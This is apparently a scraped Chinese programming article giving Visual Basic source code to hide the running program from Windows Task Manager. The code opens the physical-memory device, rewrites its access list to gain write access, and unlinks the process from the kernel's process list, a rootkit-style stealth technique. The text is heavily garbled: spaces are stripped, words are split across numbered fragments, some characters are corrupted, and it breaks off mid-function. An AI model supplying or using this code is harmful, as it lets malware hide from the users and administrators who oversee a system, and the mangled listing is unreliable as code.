vb中如何在任務(wù)管理器里面隱藏應(yīng)用程序進程

1、vb中如何在任務(wù)管理器里面隱藏應(yīng)用程序進程該模塊用于在任務(wù)管理器中隱藏進程PrivateConstSTATUS_INFO_LENGTH_MISMATCH=&HC0000004PrivateConstSTATUS_ACCESS_DENIED=&HC0000022PrivateConstSTATUS_INVALID_HANDLE=&HC0000008PrivateConstERROR_SUCCESS=0&PrivateConstSECTION_MAP_WRITE=&H2PrivateConstSECTION_MAP_READ=&H4PrivateConstREAD_CONTROL=&H20000P

2、rivateConstWRITE_DAC=&H40000PrivateConstNO_INHERITANCE=0PrivateConstDACL_SECURITY_INFORMATION=&H4PrivateTypeIO_STATUS_BLOCKStatusAsLongInformationAsLongEndTypePrivateTypeUNICODE_STRINGLengthAsIntegerMaximumLengthAsIntegerBufferAsLongEndTypePrivateConstOBJ_INHERIT=&H2PrivateConstOBJ_PERMANENT=&H10Pri

3、vateConstOBJ_EXCLUSIVE=&H20PrivateConstOBJ_CASE_INSENSITIVE=&H40PrivateConstOBJ_OPENIF=&H80PrivateConstOBJ_OPENLINK=&H100PrivateConstOBJ_KERNEL_HANDLE=&H200PrivateConstOBJ_VALID_ATTRIBUTES=&H3F2PrivateTypeOBJECT_ATTRIBUTESLengthAsLongRootDirectoryAsLongObjectNameAsLongAttributesAsLongSecurityDeorAsL

4、ongSecurityQualityOfServiceAsLongEndTypePrivateTypeACLAclRevisionAsByteSbz1AsByteAclSizeAsIntegerAceCountAsIntegerSbz2AsIntegerEndTypePrivateEnumACCESS_MODENOT_USED_ACCESSGRANT_ACCESSSET_ACCESSDENY_ACCESSREVOKE_ACCESSSET_AUDIT_SUCCESSSET_AUDIT_FAILUREEndEnumPrivateEnumMULTIPLE_TRUSTEE_OPERATIONNO_MU

5、LTIPLE_TRUSTEETRUSTEE_IS_IMPERSONATEEndEnumPrivateEnumTRUSTEE_FORMTRUSTEE_IS_SIDTRUSTEE_IS_NAMEEndEnumPrivateEnumTRUSTEE_TYPETRUSTEE_IS_UNKNOWNTRUSTEE_IS_USERTRUSTEE_IS_GROUPEndEnumPrivateTypeTRUSTEEpMultipleTrusteeAsLongMultipleTrusteeOperationAsMULTIPLE_TRUSTEE_OPERATIONTrusteeFormAsTRUSTEE_FORMTr

6、usteeTypeAsTRUSTEE_TYPEptstrNameAsStringEndTypePrivateTypeEXPLICIT_ACCESSgrfAccessPermissionsAsLonggrfAccessModeAsACCESS_MODEgrfInheritanceAsLongTRUSTEEAsTRUSTEEEndTypePrivateTypeAceArrayList()AsEXPLICIT_ACCESSEndTypePrivateEnumSE_OBJECT_TYPESE_UNKNOWN_OBJECT_TYPE=0SE_FILE_OBJECTSE_SERVICESE_PRINTER

7、SE_REGISTRY_KEYSE_LMSHARESE_KERNEL_OBJECTSE_WINDOW_OBJECTSE_DS_OBJECTSE_DS_OBJECT_ALLSE_PROVIDER_DEFINED_OBJECTSE_WMIGUID_OBJECTEndEnumPrivateDeclareFunctionSetSecurityInfoLibadvapi32.dll(ByValHandleAsLong,ByValObjectTypeAsSE_OBJECT_TYPE,ByValSecurityInfoAsLong,ppsidOwnerAsLong,ppsidGroupAsLong,ppDa

8、clAsAny,ppSaclAsAny)AsLongPrivateDeclareFunctionGetSecurityInfoLibadvapi32.dll(ByValHandleAsLong,ByValObjectTypeAsSE_OBJECT_TYPE,ByValSecurityInfoAsLong,ppsidOwnerAsLong,ppsidGroupAsLong,ppDaclAsAny,ppSaclAsAny,ppSecurityDeorAsLong)AsLongPrivateDeclareFunctionSetEntriesInAclLibadvapi32.dllAliasSetEn

9、triesInAclA(ByValcCountOfExplicitEntriesAsLong,pListOfExplicitEntriesAsEXPLICIT_ACCESS,ByValOldAclAsLong,NewAclAsLong)AsLongPrivateDeclareSubBuildExplicitAccessWithNameLibadvapi32.dllAliasBuildExplicitAccessWithNameA(pExplicitAccessAsEXPLICIT_ACCESS,ByValpTrusteeNameAsString,ByValAccessPermissionsAs

10、Long,ByValAccessModeAsACCESS_MODE,ByValInheritanceAsLong)PrivateDeclareSubRtlInitUnicodeStringLibNTDLL.DLL(DestinationStringAsUNICODE_STRING,ByValSourceStringAsLong)PrivateDeclareFunctionZwOpenSectionLibNTDLL.DLL(SectionHandleAsLong,ByValDesiredAccessAsLong,ObjectAttributesAsAny)AsLongPrivateDeclare

11、FunctionLocalFreeLibkernel32(ByValhMemAsAny)AsLongPrivateDeclareFunctionCloseHandleLibkernel32(ByValhObjectAsLong)AsLongPrivateDeclareFunctionMapViewOfFileLibkernel32(ByValhFileMappingObjectAsLong,ByValdwDesiredAccessAsLong,ByValdwFileOffsetHighAsLong,ByValdwFileOffsetLowAsLong,ByValdwNumberOfBytesT

12、oMapAsLong)AsLongPrivateDeclareFunctionUnmapViewOfFileLibkernel32(lpBaseAddressAsAny)AsLongPrivateDeclareSubCopyMemoryLibkernel32AliasRtlMoveMemory(DestinationAsAny,SourceAsAny,ByValLengthAsLong)PrivateDeclareFunctionGetVersionExLibkernel32AliasGetVersionExA(lpVersionInformationAsOSVERSIONINFO)AsLon

13、gPrivateTypeOSVERSIONINFOdwOSVersionInfoSizeAsLongdwMajorVersionAsLongdwMinorVersionAsLongdwBuildNumberAsLongdwPlatformIdAsLongszCSDVersionAsString*128EndTypePrivateverinfoAsOSVERSIONINFOPrivateg_hNtDLLAsLongPrivateg_pMapPhysicalMemoryAsLongPrivateg_hMPMAsLongPrivateaByte(3)AsBytePublicSubHideCurren

14、tProcess()在進程列表中隱藏當前應(yīng)用程序進程轉(zhuǎn)載請注名來自愛軟件()阿江編注。DimthreadAsLong,processAsLong,fwAsLong,bwAsLongDimlOffsetFlinkAsLong,lOffsetBlinkAsLong,lOffsetPIDAsLongverinfo.dwOSVersionInfoSize=Len(verinfo)If(GetVersionEx(verinfo)0ThenIfverinfo.dwPlatformId=2ThenIfverinfo.dwMajorVersion=5ThenSelectCaseverinfo.dwMinorV

15、ersionCase0lOffsetFlink=&HA0lOffsetBlink=&HA4lOffsetPID=&H9CCase1lOffsetFlink=&H88lOffsetBlink=&H8ClOffsetPID=&H84EndSelectEndIfEndIfEndIfIfOpenPhysicalMemory0Thenthread=GetData(&HFFDFF124)process=GetData(thread+&H44)fw=GetData(process+lOffsetFlink)bw=GetData(process+lOffsetBlink)SetDatafw+4,bwSetDa

16、tabw,fwCloseHandleg_hMPMEndIfEndSubPrivateSubSetPhyscialMemorySectionCanBeWrited(ByValhSectionAsLong)DimpDaclAsLongDimpNewDaclAsLongDimpSDAsLongDimdwResAsLongDimeaAsEXPLICIT_ACCESSGetSecurityInfohSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,0,0,pDacl,0,pSDea.grfAccessPermissions=SECTION_MAP_WR

17、ITEea.grfAccessMode=GRANT_ACCESSea.grfInheritance=NO_INHERITANCEea.TRUSTEE.TrusteeForm=TRUSTEE_IS_NAMEea.TRUSTEE.TrusteeType=TRUSTEE_IS_USERea.TRUSTEE.ptstrName=CURRENT_USER&vbNullCharSetEntriesInAcl1,ea,pDacl,pNewDaclSetSecurityInfohSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,0,0,ByValpNewDa

18、cl,0CleanUp:LocalFreepSDLocalFreepNewDaclEndSub轉(zhuǎn)載請注名來自愛軟件()阿江編注。PrivateFunctionOpenPhysicalMemory()AsLongDimStatusAsLongDimPhysmemStringAsUNICODE_STRINGDimAttributesAsOBJECT_ATTRIBUTESRtlInitUnicodeStringPhysmemString,StrPtr(DevicePhysicalMemory)Attributes.Length=Len(Attributes)Attributes.RootDirect

19、ory=0Attributes.ObjectName=VarPtr(PhysmemString)Attributes.Attributes=0Attributes.SecurityDeor=0Attributes.SecurityQualityOfService=0Status=ZwOpenSection(g_hMPM,SECTION_MAP_READorSECTION_MAP_WRITE,Attributes)IfStatus=STATUS_ACCESS_DENIEDThenStatus=ZwOpenSection(g_hMPM,READ_CONTROLorWRITE_DAC,Attribu

20、tes)SetPhyscialMemorySectionCanBeWritedg_hMPMCloseHandleg_hMPMStatus=ZwOpenSection(g_hMPM,SECTION_MAP_READorSECTION_MAP_WRITE,Attributes)EndIfDimlDirectotyAsLongverinfo.dwOSVersionInfoSize=Len(verinfo)If(GetVersionEx(verinfo)0ThenIfverinfo.dwPlatformId=2ThenIfverinfo.dwMajorVersion=5ThenSelectCaseve

21、rinfo.dwMinorVersionCase0lDirectoty=&H30000Case1lDirectoty=&H39000EndSelectEndIfEndIfEndIfIfStatus=0Theng_pMapPhysicalMemory=MapViewOfFile(g_hMPM,4,0,lDirectoty,&H1000)Ifg_pMapPhysicalMemory0ThenOpenPhysicalMemory=g_hMPMEndIfEndFunctionPrivateFunctionLinearToPhys(BaseAddressAsLong,addrAsLong)AsLongD

22、imVAddrAsLong,PGDEAsLong,PTEAsLong,PAddrAsLongDimlTempAsLongVAddr=addrCopyMemoryaByte(0),VAddr,4ITemp=Fix(ByteArrToLong(aByte)/(2人22)PGDE=BaseAddress+lTemp*4CopyMemoryPGDE,ByVaIPGDE,4If(PGDEAnd1)0ThenlTemp=PGDEAnd&H80IflTemp0ThenPAddr=(PGDEAnd&HFFC00000)+(VAddrAnd&H3FFFFF)ElsePGDE=MapViewOfFile(g_hMPM,4,0,PGDEAnd&HFFFFF000,&H1000)ITemp=(VAddrAnd&H3FF000)/(2人12)PTE=PGDE+lTemp*4CopyMemoryPTE,ByVaIPTE,4If(PTEAnd1)0ThenPAddr=(PTEAnd&HFFFFF000)+(VAddrAnd&HFFF)UnmapViewOfFiIePGDEEndIfEndIfEndIfLinearToPhys=PAddrEndF